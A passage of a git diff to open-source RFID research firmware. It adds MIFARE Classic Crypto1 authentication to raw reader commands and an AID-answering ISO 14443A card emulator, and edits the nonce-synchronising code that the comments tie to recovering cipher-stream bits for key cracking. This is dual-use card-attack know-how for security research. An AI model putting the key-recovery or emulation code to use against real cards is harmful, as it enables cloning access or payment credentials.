[1..59]. command FWT=FWT*WTXM + data_bytes[1] &= 0x3F; // 2 high bits mandatory set to 0b + + // temporarily increase timeout + // field cycles, 1/1356000 + // MAX_ISO14A_TIMEOUT == 524288 / 13560000 + // typically 8192 / 13560000 + iso14a_set_timeout(MAX(data_bytes[1] * save_iso14a_timeout, MAX_ISO14A_TIMEOUT)); + + // Transmit WTX back + AddCrc14A(data_bytes, len - 2); + ReaderTransmit(data_bytes, len, NULL); + + // retrieve the result again (with increased timeout) + len = ReaderReceive(data_bytes, data_len, parity_array); + + } + + // restore timeout + iso14a_set_timeout(save_iso14a_timeout); + + // if we received an I- or R(ACK)-Block with a block number equal to the + // current block number, toggle the current block number + if (len >= 3 // PCB+CRC = 3 bytes + && ((data_bytes[0] & 0xC0) == 0 // I-Block + || (data_bytes[0] & 0xD0) == 0x80) // R-Block with ACK bit set to 0 + && (data_bytes[0] & 0x01) == iso14_pcb_blocknum) { // equal block numbers + iso14_pcb_blocknum ^= 1; + } + + // if we received I-block with chaining we need to send ACK and receive another block of data + if (res) { + *res = data_bytes[0]; + } + + // crc check + if (len >= 3 && !CheckCrc14A(data_bytes, len)) { + BigBuf_free(); + return -1; } if (len) { @@ -3096,22 +3468,28 @@ void ReaderIso14443a(PacketCommandNG *c) { iso14443a_setup(FPGA_HF_ISO14443A_READER_LISTEN); // notify client selecting status. - // if failed selecting, turn off antenna and quite. + // if failed selecting, turn off antenna and quit. if ((param & ISO14A_NO_SELECT) != ISO14A_NO_SELECT) { iso14a_card_select_t *card = (iso14a_card_select_t *)buf; arg0 = iso14443a_select_cardEx( NULL, card, - NULL, + &crypto1_uid, true, 0, ((param & ISO14A_NO_RATS) == ISO14A_NO_RATS), - ((param & ISO14A_USE_CUSTOM_POLLING) == ISO14A_USE_CUSTOM_POLLING) ? (iso14a_polling_parameters_t *)cmd : &WUPA_POLLING_PARAMETERS + ((param & ISO14A_USE_CUSTOM_POLLING) == ISO14A_USE_CUSTOM_POLLING) ? (iso14a_polling_parameters_t *)cmd : NULL, + false ); // TODO: Improve by adding a cmd parser pointer and moving it by struct length to allow combining data with polling params FpgaDisableTracing(); + if ((param & ISO14A_CRYPTO1MODE) == ISO14A_CRYPTO1MODE) { + crypto1_auth_state = AUTH_FIRST; + crypto1_deinit(&crypto1_state); + } + reply_mix(CMD_ACK, arg0, card->uidlen, 0, buf, sizeof(iso14a_card_select_t)); if (arg0 == 0) { goto OUT; @@ -3125,7 +3503,10 @@ void ReaderIso14443a(PacketCommandNG *c) { } if ((param & ISO14A_APDU) == ISO14A_APDU) { - uint8_t res; + + FpgaDisableTracing(); + + uint8_t res = 0; arg0 = iso14_apdu( cmd, len, @@ -3134,13 +3515,28 @@ void ReaderIso14443a(PacketCommandNG *c) { sizeof(buf), &res ); - FpgaDisableTracing(); reply_mix(CMD_ACK, arg0, res, 0, buf, sizeof(buf)); } if ((param & ISO14A_RAW) == ISO14A_RAW) { - + if ((param & ISO14A_CRYPTO1MODE) == ISO14A_CRYPTO1MODE) { + // Intercept special Auth command 6xxxCRCA + if ((len == 10) && ((cmd[0] & 0xF0) == 0x60)) { + uint64_t ui64key = bytes_to_num((uint8_t *)&cmd[2], 6); + uint8_t res = 0x00; + if (mifare_classic_authex_cmd(&crypto1_state, crypto1_uid, cmd[1], cmd[0], ui64key, crypto1_auth_state, NULL, NULL, NULL, NULL, false, false)) { + if (g_dbglevel >= DBG_INFO) Dbprintf("Auth error"); + res = 0x04; + } else { + crypto1_auth_state = AUTH_NESTED; + if (g_dbglevel >= DBG_INFO) Dbprintf("Auth succeeded"); + res = 0x0a; + } + reply_mix(CMD_ACK, 1, 0, 0, &res, 1); + goto CMD_DONE; + } + } if ((param & ISO14A_APPEND_CRC) == ISO14A_APPEND_CRC) { // Don't append crc on empty bytearray... if (len > 0) { @@ -3158,7 +3554,10 @@ void ReaderIso14443a(PacketCommandNG *c) { } } } - + if ((param & ISO14A_CRYPTO1MODE) == ISO14A_CRYPTO1MODE) { + // Force explicit parity + lenbits = len * 8; + } // want to send a specific number of bits (e.g. short commands) if (lenbits > 0) { @@ -3177,6 +3576,9 @@ void ReaderIso14443a(PacketCommandNG *c) { } else { GetParity(cmd, lenbits / 8, parity_array); + if ((param & ISO14A_CRYPTO1MODE) == ISO14A_CRYPTO1MODE) { + mf_crypto1_encrypt(&crypto1_state, cmd, len, parity_array); + } ReaderTransmitBitsPar(cmd, lenbits, parity_array, NULL); // bytes are 8 bit with odd parity } @@ -3223,14 +3625,19 @@ void ReaderIso14443a(PacketCommandNG *c) { reply_mix(CMD_ACK, 0, 0, 0, NULL, 0); } else { arg0 = ReaderReceive(buf, sizeof(buf), parity_array); + + if ((param & ISO14A_CRYPTO1MODE) == ISO14A_CRYPTO1MODE) { + mf_crypto1_decrypt(&crypto1_state, buf, arg0); + } FpgaDisableTracing(); reply_mix(CMD_ACK, arg0, 0, 0, buf, sizeof(buf)); } } } - - if ((param & ISO14A_REQUEST_TRIGGER) == ISO14A_REQUEST_TRIGGER) +CMD_DONE: + if ((param & ISO14A_REQUEST_TRIGGER) == ISO14A_REQUEST_TRIGGER) { iso14a_set_trigger(false); + } if ((param & ISO14A_SET_TIMEOUT) == ISO14A_SET_TIMEOUT) { iso14a_set_timeout(save_iso14a_timeout); @@ -3241,6 +3648,7 @@ void ReaderIso14443a(PacketCommandNG *c) { } OUT: + crypto1_auth_state = AUTH_FIRST; hf_field_off(); set_tracing(false); } @@ -3250,17 +3658,23 @@ OUT: // Therefore try in alternating directions. static int32_t dist_nt(uint32_t nt1, uint32_t nt2) { - if (nt1 == nt2) return 0; + if (nt1 == nt2) { + return 0; + } uint32_t nttmp1 = nt1; uint32_t nttmp2 = nt2; for (uint16_t i = 1; i < 32768; i++) { nttmp1 = prng_successor(nttmp1, 1); - if (nttmp1 == nt2) return i; + if (nttmp1 == nt2) { + return i; + } nttmp2 = prng_successor(nttmp2, 1); - if (nttmp2 == nt1) return -i; + if (nttmp2 == nt1) { + return -i; + } } return (-99999); // either nt1 or nt2 are invalid nonces @@ -3268,8 +3682,8 @@ static int32_t dist_nt(uint32_t nt1, uint32_t nt2) { #define PRNG_SEQUENCE_LENGTH (1 << 16) -#define MAX_UNEXPECTED_RANDOM 4 // maximum number of unexpected (i.e. real) random numbers when trying to sync. Then give up. -#define MAX_SYNC_TRIES 32 +#define MAX_UNEXPECTED_RANDOM (4) // maximum number of unexpected (i.e. real) random numbers when trying to sync. Then give up. +#define MAX_SYNC_TRIES (32) //----------------------------------------------------------------------------- // Recover several bits of the cypher stream. This implements (first stages of) @@ -3283,7 +3697,6 @@ void ReaderMifare(bool first_try, uint8_t block, uint8_t keytype) { BigBuf_free(); BigBuf_Clear_ext(false); - clear_trace(); set_tracing(true); uint8_t mf_auth[4] = { keytype, block, 0x00, 0x00 }; @@ -3400,8 +3813,9 @@ void ReaderMifare(bool first_try, uint8_t block, uint8_t keytype) { ReaderTransmit(mf_auth, sizeof(mf_auth), &sync_time); // Receive the (4 Byte) "random" TAG nonce - if (ReaderReceive(receivedAnswer, sizeof(receivedAnswer), receivedAnswerPar) != 4) + if (ReaderReceive(receivedAnswer, sizeof(receivedAnswer), receivedAnswerPar) != 4) { continue; + } previous_nt = nt; nt = bytes_to_num(receivedAnswer, 4); @@ -3424,9 +3838,9 @@ void ReaderMifare(bool first_try, uint8_t block, uint8_t keytype) { // we didn't calibrate our clock yet, // iceman: has to be calibrated every time. - if (previous_nt && !nt_attacked) { + if (previous_nt && (nt_attacked == 0)) { - int nt_distance = dist_nt(previous_nt, nt); + int32_t nt_distance = dist_nt(previous_nt, nt); // if no distance between, then we are in sync. if (nt_distance == 0) { @@ -3452,7 +3866,9 @@ void ReaderMifare(bool first_try, uint8_t block, uint8_t keytype) { sync_cycles = (sync_cycles - nt_distance) / elapsed_prng_sequences; // no negative sync_cycles, and too small sync_cycles will result in continuous misses - if (sync_cycles <= 10) sync_cycles += PRNG_SEQUENCE_LENGTH; + if (sync_cycles <= 10) { + sync_cycles += PRNG_SEQUENCE_LENGTH; + } // reset sync_cycles if (sync_cycles > PRNG_SEQUENCE_LENGTH * 2) { @@ -3460,8 +3876,14 @@ void ReaderMifare(bool first_try, uint8_t block, uint8_t keytype) { sync_time = GetCountSspClk() & 0xfffffff8; } - if (g_dbglevel >= DBG_EXTENDED) - Dbprintf("calibrating in cycle %d. nt_distance=%d, elapsed_prng_sequences=%d, new sync_cycles: %d\n", i, nt_distance, elapsed_prng_sequences, sync_cycles); + if (g_dbglevel >= DBG_EXTENDED) { + Dbprintf("calibrating in cycle %d. nt_distance=%d, elapsed_prng_sequences=%d, new sync_cycles: %d\n" + , i + , nt_distance + , elapsed_prng_sequences + , sync_cycles + ); + } continue; } @@ -3491,8 +3913,9 @@ void ReaderMifare(bool first_try, uint8_t block, uint8_t keytype) { } else { sync_cycles += catch_up_cycles; - if (g_dbglevel >= DBG_EXTENDED) + if (g_dbglevel >= DBG_EXTENDED) { Dbprintf("Lost sync in cycle %d for the fourth time consecutively (nt_distance = %d). Adjusting sync_cycles to %d.\n", i, catch_up_cycles, sync_cycles); + } last_catch_up = 0; catch_up_cycles = 0; @@ -3505,8 +3928,9 @@ void ReaderMifare(bool first_try, uint8_t block, uint8_t keytype) { if (received_nack) { catch_up_cycles = 8; // the PRNG is delayed by 8 cycles due to the NAC (4Bits = 0x05 encrypted) transfer - if (nt_diff == 0) + if (nt_diff == 0) { par_low = par[0] & 0xE0; // there is no need to check all parities for other nt_diff. Parity Bits for mf_nr_ar[0..2] won't change + } par_list[nt_diff] = reflect8(par[0]); ks_list[nt_diff] = receivedAnswer[0] ^ 0x05; // xor with NACK value to get keystream @@ -3525,12 +3949,15 @@ void ReaderMifare(bool first_try, uint8_t block, uint8_t keytype) { } else { // No NACK. if (nt_diff == 0 && first_try) { + par[0]++; + if (par[0] == 0) { // tried all 256 possible parities without success. Card doesn't send NACK. isOK = 2; return_status = PM3_ESOFT; break; } + } else { // Why this? par[0] = ((par[0] & 0x1F) + 1) | par_low; @@ -3581,7 +4008,7 @@ void DetectNACKbug(void) { uint8_t uid[10] = { 0x00 }; uint8_t receivedAnswer[MAX_MIFARE_FRAME_SIZE] = { 0x00 }; uint8_t receivedAnswerPar[MAX_MIFARE_PARITY_SIZE] = { 0x00 }; - uint8_t par[1] = {0x00 }; // maximum 8 Bytes to be sent here, 1 byte parity is therefore enough + uint8_t par[2] = {0x00 }; // maximum 8 Bytes to be sent here, 1 byte parity is therefore enough uint32_t nt = 0, previous_nt = 0, nt_attacked = 0, cuid = 0; int32_t catch_up_cycles = 0, last_catch_up = 0; @@ -3600,7 +4027,6 @@ void DetectNACKbug(void) { BigBuf_free(); BigBuf_Clear_ext(false); - clear_trace(); set_tracing(true); iso14443a_setup(FPGA_HF_ISO14443A_READER_MOD); @@ -3633,9 +4059,9 @@ void DetectNACKbug(void) { ++checkbtn_cnt; // this part is from Piwi's faster nonce collecting part in Hardnested. - if (!have_uid) { // need a full select cycle to get the uid first + if (have_uid == false) { // need a full select cycle to get the uid first iso14a_card_select_t card_info; - if (!iso14443a_select_card(uid, &card_info, &cuid, true, 0, true)) { + if (iso14443a_select_card(uid, &card_info, &cuid, true, 0, true) == 0) { if (g_dbglevel >= DBG_INFO) Dbprintf("Mifare: Can't select card (ALL)"); i = 0; continue; @@ -3657,7 +4083,7 @@ void DetectNACKbug(void) { } have_uid = true; } else { // no need for anticollision. We can directly select the card - if (!iso14443a_fast_select_card(uid, cascade_levels)) { + if (iso14443a_fast_select_card(uid, cascade_levels) == 0) { if (g_dbglevel >= DBG_INFO) Dbprintf("Mifare: Can't select card (UID)"); i = 0; have_uid = false; @@ -3810,9 +4236,7 @@ void DetectNACKbug(void) { // i = number of authentications sent. Not always 256, since we are trying to sync but close to it. FpgaDisableTracing(); - uint8_t *data = BigBuf_malloc(4); - data[0] = isOK; - data[1] = num_nacks; + uint8_t data[4] = {isOK, num_nacks, 0, 0}; num_to_bytes(i, 2, data + 2); reply_ng(CMD_HF_MIFARE_NACK_DETECT, status, data, 4); @@ -3820,3 +4244,258 @@ void DetectNACKbug(void) { hf_field_off(); set_tracing(false); } + +/* /// +Based upon the SimulateIso14443aTag, this aims to instead take an AID Value you've supplied, and return your selected response. +It can also continue after the AID has been selected, and respond to other request types. +This was forked from the original function to allow for more flexibility in the future, and to increase the processing speed of the original function. +/// */ + +void SimulateIso14443aTagAID(uint8_t tagType, uint16_t flags, uint8_t *uid, + uint8_t *ats, size_t ats_len, uint8_t *aid, size_t aid_len, + uint8_t *selectaid_response, size_t selectaid_response_len, + uint8_t *getdata_response, size_t getdata_response_len) { + tag_response_info_t *responses; + uint32_t cuid = 0; + uint8_t pages = 0; + + // command buffers + uint8_t receivedCmd[MAX_FRAME_SIZE] = { 0x00 }; + uint8_t receivedCmdPar[MAX_PARITY_SIZE] = { 0x00 }; + + // Buffers must be provided by the caller, even if lengths are 0 + // Copy the AID, AID Response, and the GetData APDU response into our variables + if ((aid == NULL) || (selectaid_response == NULL) || (getdata_response == NULL)) { + reply_ng(CMD_HF_MIFARE_SIMULATE, PM3_EINVARG, NULL, 0); + } + + // free eventually allocated BigBuf memory but keep Emulator Memory + BigBuf_free_keep_EM(); + + // Increased the buffer size to allow for more complex responses +#define DYNAMIC_RESPONSE_BUFFER2_SIZE 512 +#define DYNAMIC_MODULATION_BUFFER2_SIZE 1536 + + uint8_t *dynamic_response_buffer2 = BigBuf_calloc(DYNAMIC_RESPONSE_BUFFER2_SIZE); + if (dynamic_response_buffer2 == NULL) { + BigBuf_free_keep_EM(); + reply_ng(CMD_HF_MIFARE_SIMULATE, PM3_EMALLOC, NULL, 0); + return; + } + + uint8_t *dynamic_modulation_buffer2 = BigBuf_calloc(DYNAMIC_MODULATION_BUFFER2_SIZE); + if (dynamic_modulation_buffer2 == NULL) { + BigBuf_free_keep_EM(); + reply_ng(CMD_HF_MIFARE_SIMULATE, PM3_EMALLOC, NULL, 0); + return; + } + + tag_response_info_t dynamic_response_info = { + .response = dynamic_response_buffer2, + .response_n = 0, + .modulation = dynamic_modulation_buffer2, + .modulation_n = 0 + }; + + if (SimulateIso14443aInit(tagType, flags, uid, ats, ats_len, &responses, &cuid, &pages, NULL) == false) { + BigBuf_free_keep_EM(); + reply_ng(CMD_HF_MIFARE_SIMULATE, PM3_EINIT, NULL, 0); + return; + } + + // We need to listen to the high-frequency, peak-detected path. + iso14443a_setup(FPGA_HF_ISO14443A_TAGSIM_LISTEN); + + iso14a_set_timeout(201400); // 106 * 19ms default *100? + + int len = 0; + int retval = PM3_SUCCESS; + int sentCount = 0; + bool odd_reply = true; + + clear_trace(); + set_tracing(true); + LED_A_ON(); + + // main loop + bool finished = false; + bool got_rats = false; + while (finished == false) { + // BUTTON_PRESS check done in GetIso14443aCommandFromReader + WDT_HIT(); + + tag_response_info_t *p_response = NULL; + + // Clean receive command buffer + if (GetIso14443aCommandFromReader(receivedCmd, sizeof(receivedCmd), receivedCmdPar, &len) == false) { + Dbprintf("Emulator stopped. Trace length: %d ", BigBuf_get_traceLen()); + retval = PM3_EOPABORTED; + break; + } + + if (receivedCmd[0] == ISO14443A_CMD_REQA && len == 1) { // Received a REQUEST, but in HALTED, skip + odd_reply = !odd_reply; + if (odd_reply) { + p_response = &responses[RESP_INDEX_ATQA]; + } + } else if (receivedCmd[0] == ISO14443A_CMD_WUPA && len == 1) { // Received a WAKEUP + p_response = &responses[RESP_INDEX_ATQA]; + } else if (receivedCmd[1] == 0x20 && receivedCmd[0] == ISO14443A_CMD_ANTICOLL_OR_SELECT && len == 2) { // Received request for UID (cascade 1) + p_response = &responses[RESP_INDEX_UIDC1]; + } else if (receivedCmd[1] == 0x20 && receivedCmd[0] == ISO14443A_CMD_ANTICOLL_OR_SELECT_2 && len == 2) { // Received request for UID (cascade 2) + p_response = &responses[RESP_INDEX_UIDC2]; + } else if (receivedCmd[1] == 0x20 && receivedCmd[0] == ISO14443A_CMD_ANTICOLL_OR_SELECT_3 && len == 2) { // Received request for UID (cascade 3) + p_response = &responses[RESP_INDEX_UIDC3]; + } else if (receivedCmd[1] == 0x70 && receivedCmd[0] == ISO14443A_CMD_ANTICOLL_OR_SELECT && len == 9) { // Received a SELECT (cascade 1) + p_response = &responses[RESP_INDEX_SAKC1]; + } else if (receivedCmd[1] == 0x70 && receivedCmd[0] == ISO14443A_CMD_ANTICOLL_OR_SELECT_2 && len == 9) { // Received a SELECT (cascade 2) + p_response = &responses[RESP_INDEX_SAKC2]; + } else if (receivedCmd[1] == 0x70 && receivedCmd[0] == ISO14443A_CMD_ANTICOLL_OR_SELECT_3 && len == 9) { // Received a SELECT (cascade 3) + p_response = &responses[RESP_INDEX_SAKC3]; + } else if (receivedCmd[0] == ISO14443A_CMD_PPS) { + p_response = &responses[RESP_INDEX_PPS]; + } else if (receivedCmd[0] == ISO14443A_CMD_HALT && len == 4) { // Received a HALT + LogTrace(receivedCmd, Uart.len, Uart.startTime * 16 - DELAY_AIR2ARM_AS_TAG, Uart.endTime * 16 - DELAY_AIR2ARM_AS_TAG, Uart.parity, true); + p_response = NULL; + if (got_rats) { + finished = true; + } + } else if (receivedCmd[0] == ISO14443A_CMD_RATS && len == 4) { // Received a RATS request + p_response = &responses[RESP_INDEX_ATS]; + got_rats = true; + } else { + // clear old dynamic responses + dynamic_response_info.response_n = 0; + dynamic_response_info.modulation_n = 0; + + // Check for ISO 14443A-4 compliant commands, look at left byte (PCB) + uint8_t offset = 0; + switch (receivedCmd[0]) { + case 0x0B: // IBlock with CID + case 0x0A: { + offset = 1; + } + case 0x02: // IBlock without CID + case 0x03: { + dynamic_response_info.response[0] = receivedCmd[0]; + dynamic_response_info.response[1] = 0x00; + + switch (receivedCmd[2 + offset]) { // APDU Class Byte + // receivedCmd in this case is expecting to structured with possibly a CID, then the APDU command for SelectFile + // | IBlock (CID) | CID | APDU Command | CRC | + // or | IBlock (noCID) | APDU Command | CRC | + + case 0xA4: { // SELECT FILE + // Select File AID uses the following format for GlobalPlatform + // + // | 00 | A4 | 04 | 00 | xx | AID | 00 | + // xx in this case is len of the AID value in hex + + // aid len is found as a hex value in receivedCmd[6] (Index Starts at 0) + int received_aid_len = receivedCmd[5 + offset]; + uint8_t *received_aid = &receivedCmd[6 + offset]; + + // aid enumeration flag + if ((flags & FLAG_ENUMERATE_AID) == FLAG_ENUMERATE_AID) { + Dbprintf("Received AID (%d):", received_aid_len); + Dbhexdump(received_aid_len, received_aid, false); + } + + if ((received_aid_len == aid_len) && (memcmp(aid, received_aid, aid_len) == 0)) { // Evaluate the AID sent by the Reader to the AID supplied + // AID Response will be parsed here + memcpy(dynamic_response_info.response + 1 + offset, selectaid_response, selectaid_response_len + 1 + offset); + dynamic_response_info.response_n = selectaid_response_len + 2; + } else { // Any other SELECT FILE command will return with a Not Found + dynamic_response_info.response[1 + offset] = 0x6A; + dynamic_response_info.response[2 + offset] = 0x82; + dynamic_response_info.response_n = 3 + offset; + } + } + break; + + case 0xDA: { // PUT DATA + // Just send them a 90 00 response + dynamic_response_info.response[1 + offset] = 0x90; + dynamic_response_info.response[2 + offset] = 0x00; + dynamic_response_info.response_n = 3 + offset; + } + break; + + case 0xCA: { // GET DATA + if (sentCount == 0) { + // APDU Command will just be parsed here + memcpy(dynamic_response_info.response + 1 + offset, getdata_response, getdata_response_len + 2); + dynamic_response_info.response_n = selectaid_response_len + 1 + offset; + } else { + finished = true; + break; + } + sentCount++; + } + break; + default : { + // Any other non-listed command + // Respond Not Found + dynamic_response_info.response[1 + offset] = 0x6A; + dynamic_response_info.response[2 + offset] = 0x82; + dynamic_response_info.response_n = 3 + offset; + } + } + } + break; + + case 0xCA: // S-Block Deselect with CID + case 0xC2: { // S-Block Deselect without CID + dynamic_response_info.response[0] = receivedCmd[0]; + dynamic_response_info.response[1] = 0x00; + dynamic_response_info.response_n = 2; + finished = true; + } + break; + + default: { + // Never seen this PCB before + LogTrace(receivedCmd, Uart.len, Uart.startTime * 16 - DELAY_AIR2ARM_AS_TAG, Uart.endTime * 16 - DELAY_AIR2ARM_AS_TAG, Uart.parity, true); + if (g_dbglevel >= DBG_DEBUG) { + Dbprintf("Received unknown command (len=%d):", len); + Dbhexdump(len, receivedCmd, false); + } + if ((receivedCmd[0] & 0x10) == 0x10) { + Dbprintf("Warning, reader sent a chained command but we lack support for it. Ignoring command."); + } + // Do not respond + dynamic_response_info.response_n = 0; + } + break; + } + if (dynamic_response_info.response_n > 0) { + + // Copy the CID from the reader query + if (offset > 0) { + dynamic_response_info.response[1] = receivedCmd[1]; + } + + // Add CRC bytes, always used in ISO 14443A-4 compliant cards + AddCrc14A(dynamic_response_info.response, dynamic_response_info.response_n); + dynamic_response_info.response_n += 2; + + if (prepare_tag_modulation(&dynamic_response_info, DYNAMIC_MODULATION_BUFFER2_SIZE) == false) { + if (g_dbglevel >= DBG_DEBUG) DbpString("Error preparing tag response"); + LogTrace(receivedCmd, Uart.len, Uart.startTime * 16 - DELAY_AIR2ARM_AS_TAG, Uart.endTime * 16 - DELAY_AIR2ARM_AS_TAG, Uart.parity, true); + break; + } + p_response = &dynamic_response_info; + } + } + + // Send response + EmSendPrecompiledCmd(p_response); + } + + switch_off(); + + set_tracing(false); + BigBuf_free_keep_EM(); + + reply_ng(CMD_HF_MIFARE_SIMULATE, retval, NULL, 0); +} diff --git a/armsrc/iso14443a.h b/armsrc/iso14443a.h index c3b155122..5eb2e81ff 100644 --- a/armsrc/iso14443a.h +++ b/armsrc/iso14443a.h @@ -55,7 +55,8 @@ typedef struct { uint16_t shiftReg; uint16_t samples; uint16_t len; - uint32_t startTime, endTime; + uint32_t startTime; + uint32_t endTime; uint16_t output_len; uint8_t *output; uint8_t *parity; @@ -88,7 +89,8 @@ typedef struct { uint8_t parityBits; uint8_t parityLen; uint32_t fourBits; - uint32_t startTime, endTime; + uint32_t startTime; + uint32_t endTime; uint16_t output_len; uint8_t *output; uint8_t *parity; @@ -103,7 +105,7 @@ typedef enum { RESP_INDEX_SAKC1, RESP_INDEX_SAKC2, RESP_INDEX_SAKC3, - RESP_INDEX_RATS, + RESP_INDEX_ATS, RESP_INDEX_VERSION, RESP_INDEX_SIGNATURE, RESP_INDEX_PPS, @@ -123,8 +125,8 @@ typedef enum { #endif void printHf14aConfig(void); -void setHf14aConfig(const hf14a_config *hc); -hf14a_config *getHf14aConfig(void); +void setHf14aConfig(const hf14a_config_t *hc); +hf14a_config_t *getHf14aConfig(void); void iso14a_set_timeout(uint32_t timeout); uint32_t iso14a_get_timeout(void); @@ -140,21 +142,35 @@ RAMFUNC bool MillerDecoding(uint8_t bit, uint32_t non_real_time); RAMFUNC int ManchesterDecoding(uint8_t bit, uint16_t offset, uint32_t non_real_time); void RAMFUNC SniffIso14443a(uint8_t param); -void SimulateIso14443aTag(uint8_t tagType, uint16_t flags, uint8_t *data, uint8_t exitAfterNReads); -bool SimulateIso14443aInit(uint8_t tagType, uint16_t flags, uint8_t *data, tag_response_info_t **responses, uint32_t *cuid, uint32_t counters[3], uint8_t tearings[3], uint8_t *pages); +void SimulateIso14443aTag(uint8_t tagType, uint16_t flags, uint8_t *useruid, uint8_t exitAfterNReads, + uint8_t *ats, size_t ats_len, bool ulc_part1, bool ulc_part2); + +void SimulateIso14443aTagAID(uint8_t tagType, uint16_t flags, uint8_t *uid, + uint8_t *ats, size_t ats_len, uint8_t *aid, size_t aid_len, + uint8_t *selectaid_response, size_t selectaid_response_len, + uint8_t *getdata_response, size_t getdata_response_len); + +bool SimulateIso14443aInit(uint8_t tagType, uint16_t flags, uint8_t *data, + uint8_t *ats, size_t ats_len, tag_response_info_t **responses, + uint32_t *cuid, uint8_t *pages, + uint8_t *ulc_key); + bool GetIso14443aCommandFromReader(uint8_t *received, uint16_t received_maxlen, uint8_t *par, int *len); void iso14443a_antifuzz(uint32_t flags); void ReaderIso14443a(PacketCommandNG *c); -void ReaderTransmit(uint8_t *frame, uint16_t len, uint32_t *timing); -void ReaderTransmitBitsPar(uint8_t *frame, uint16_t bits, uint8_t *par, uint32_t *timing); -void ReaderTransmitPar(uint8_t *frame, uint16_t len, uint8_t *par, uint32_t *timing); +void ReaderTransmit(const uint8_t *frame, uint16_t len, uint32_t *timing); +void ReaderTransmitBitsPar(const uint8_t *frame, uint16_t bits, uint8_t *par, uint32_t *timing); +void ReaderTransmitPar(const uint8_t *frame, uint16_t len, uint8_t *par, uint32_t *timing); uint16_t ReaderReceive(uint8_t *receivedAnswer, uint16_t answer_maxlen, uint8_t *par); void iso14443a_setup(uint8_t fpga_minor_mode); int iso14_apdu(uint8_t *cmd, uint16_t cmd_len, bool send_chaining, void *data, uint16_t data_len, uint8_t *res); int iso14443a_select_card(uint8_t *uid_ptr, iso14a_card_select_t *p_card, uint32_t *cuid_ptr, bool anticollision, uint8_t num_cascades, bool no_rats); -int iso14443a_select_cardEx(uint8_t *uid_ptr, iso14a_card_select_t *p_card, uint32_t *cuid_ptr, bool anticollision, uint8_t num_cascades, bool no_rats, iso14a_polling_parameters_t *polling_parameters); -int iso14443a_fast_select_card(uint8_t *uid_ptr, uint8_t num_cascades); +int iso14443a_select_cardEx(uint8_t *uid_ptr, iso14a_card_select_t *p_card, uint32_t *cuid_ptr, + bool anticollision, uint8_t num_cascades, bool no_rats, + const iso14a_polling_parameters_t *polling_parameters, bool force_rats); +int iso14443a_select_card_for_magic(uint8_t *uid_ptr, iso14a_card_select_t *p_card, uint32_t *cuid_ptr, bool anticollision, uint8_t num_cascades); +int iso14443a_fast_select_card(const uint8_t *uid_ptr, uint8_t num_cascades); void iso14a_set_trigger(bool enable); int EmSendCmd14443aRaw(const uint8_t *resp, uint16_t respLen); @@ -169,13 +185,14 @@ int EmSendPrecompiledCmd(tag_response_info_t *p_response); bool prepare_allocated_tag_modulation(tag_response_info_t *response_info, uint8_t **buffer, size_t *max_buffer_size); bool prepare_tag_modulation(tag_response_info_t *response_info, size_t max_buffer_size); -bool EmLogTrace(uint8_t *reader_data, uint16_t reader_len, uint32_t reader_StartTime, uint32_t reader_EndTime, uint8_t *reader_Parity, - uint8_t *tag_data, uint16_t tag_len, uint32_t tag_StartTime, uint32_t tag_EndTime, uint8_t *tag_Parity); +bool EmLogTrace(const uint8_t *reader_data, uint16_t reader_len, uint32_t reader_StartTime, + uint32_t reader_EndTime, const uint8_t *reader_Parity, const uint8_t *tag_data, + uint16_t tag_len, uint32_t tag_StartTime, uint32_t tag_EndTime, const uint8_t *tag_Parity); void ReaderMifare(bool first_try, uint8_t block, uint8_t keytype); void DetectNACKbug(void); -bool GetIso14443aAnswerFromTag_Thinfilm(uint8_t *receivedResponse, uint16_t resp_len, uint8_t *received_len); +bool GetIso14443aAnswerFromTag_Thinfilm(uint8_t *receivedResponse, uint16_t rec_maxlen, uint8_t *received_len); extern iso14a_polling_parameters_t WUPA_POLLING_PARAMETERS; extern iso14a_polling_parameters_t REQA_POLLING_PARAMETERS; diff --git a/armsrc/iso14443b.c b/armsrc/iso14443b.c index 604920e45..0a324ff30 100644 --- a/armsrc/iso14443b.c +++ b/armsrc/iso14443b.c @@ -786,14 +786,14 @@ void SimulateIso14443bTag(const uint8_t *pupi) { // prepare "ATQB" tag answer (encoded): CodeIso14443bAsTag(respATQB, sizeof(respATQB)); - uint8_t *encodedATQB = BigBuf_malloc(ts->max); + uint8_t *encodedATQB = BigBuf_calloc(ts->max); uint16_t encodedATQBLen = ts->max; memcpy(encodedATQB, ts->buf, ts->max); // prepare "OK" tag answer (encoded): CodeIso14443bAsTag(respOK, sizeof(respOK)); - uint8_t *encodedOK = BigBuf_malloc(ts->max); + uint8_t *encodedOK = BigBuf_calloc(ts->max); uint16_t encodedOKLen = ts->max; memcpy(encodedOK, ts->buf, ts->max); @@ -980,7 +980,6 @@ void Simulate_iso14443b_srx_tag(uint8_t *uid) { // allocate command receive buffer BigBuf_free(); BigBuf_Clear_ext(false); - clear_trace(); set_tracing(true); uint16_t len, cmdsReceived = 0; @@ -989,18 +988,18 @@ void Simulate_iso14443b_srx_tag(uint8_t *uid) { tosend_t *ts = get_tosend(); - uint8_t *receivedCmd = BigBuf_malloc(MAX_FRAME_SIZE); + uint8_t *receivedCmd = BigBuf_calloc(MAX_FRAME_SIZE); // prepare "ATQB" tag answer (encoded): CodeIso14443bAsTag(respATQB, sizeof(respATQB)); - uint8_t *encodedATQB = BigBuf_malloc(ts->max); + uint8_t *encodedATQB = BigBuf_calloc(ts->max); uint16_t encodedATQBLen = ts->max; memcpy(encodedATQB, ts->buf, ts->max); // prepare "OK" tag answer (encoded): CodeIso14443bAsTag(respOK, sizeof(respOK)); - uint8_t *encodedOK = BigBuf_malloc(ts->max); + uint8_t *encodedOK = BigBuf_calloc(ts->max); uint16_t encodedOKLen = ts->max; memcpy(encodedOK, ts->buf, ts->max); @@ -1337,6 +1336,7 @@ static int Get14443bAnswerFromTag(uint8_t *response, uint16_t max_len, uint32_t // The DMA buffer, used to stream samples from the FPGA dmabuf16_t *dma = get_dma16(); if (dma == NULL) { + if (g_dbglevel >= DBG_DEBUG) Dbprintf("Failed to allocate memory"); return PM3_EMALLOC; } @@ -1381,12 +1381,12 @@ static int Get14443bAnswerFromTag(uint8_t *response, uint16_t max_len, uint32_t if (AT91C_BASE_SSC->SSC_SR & (AT91C_SSC_ENDRX)) { // primary buffer was stopped - if (AT91C_BASE_PDC_SSC->PDC_RCR == false) { + if (AT91C_BASE_PDC_SSC->PDC_RCR == 0) { AT91C_BASE_PDC_SSC->PDC_RPR = (uint32_t) dma->buf; AT91C_BASE_PDC_SSC->PDC_RCR = DMA_BUFFER_SIZE; } // secondary buffer sets as primary, secondary buffer was stopped - if (AT91C_BASE_PDC_SSC->PDC_RNCR == false) { + if 